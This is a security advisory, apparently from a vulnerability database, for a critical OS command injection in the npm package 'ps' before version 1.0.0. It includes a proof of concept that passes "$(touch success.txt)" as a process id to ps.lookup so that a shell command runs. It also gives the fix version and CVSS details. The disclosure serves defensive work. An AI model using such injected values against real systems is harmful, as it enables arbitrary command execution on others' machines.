Critical

ps Enables OS Command Injection

Disclosed: 17.09.2018
Updated: 11.10.2026 10:22

Versions of ps before 1.0.0 are vulnerable to command injection.

Proof of concept:

var ps = require('ps');

ps.lookup({ pid: "$(touch success.txt)" }, function(err, proc) { // this method is vulnerable to command injection
    if (err) {throw err;}
    if (proc) {
        console.log(proc);  // Process name, something like "node" or "bash"
    } else {
        console.log('No such process');
    }
});

// Result: The file success.txt will exist on the filesystem if the touch command was executed

Recommendation

Update to version 1.0.0 or later.

Affected software

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Platform	Package	Vulnerable versions	Fixed in
npm package	ps	< 1.0.0	1.0.0

References

CVSS score 9.8/10

CVSS vector: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Weakness (CWE): CWE-77, CWE-78
Platform: npm
Package: ps
Disclosed: 17.09.2018
Updated: 11.10.2026 10:22

Sources and licenses

OSV / GitHub Advisory Database - GHSA-cfhg-9x44-78h2 - CC BY 4.0

Vulnerability history: ps

All published vulnerabilities of this package (npm package), newest first. Shows whether this is a one-off slip or a package that needs watching.

This is the only known vulnerability of this package.

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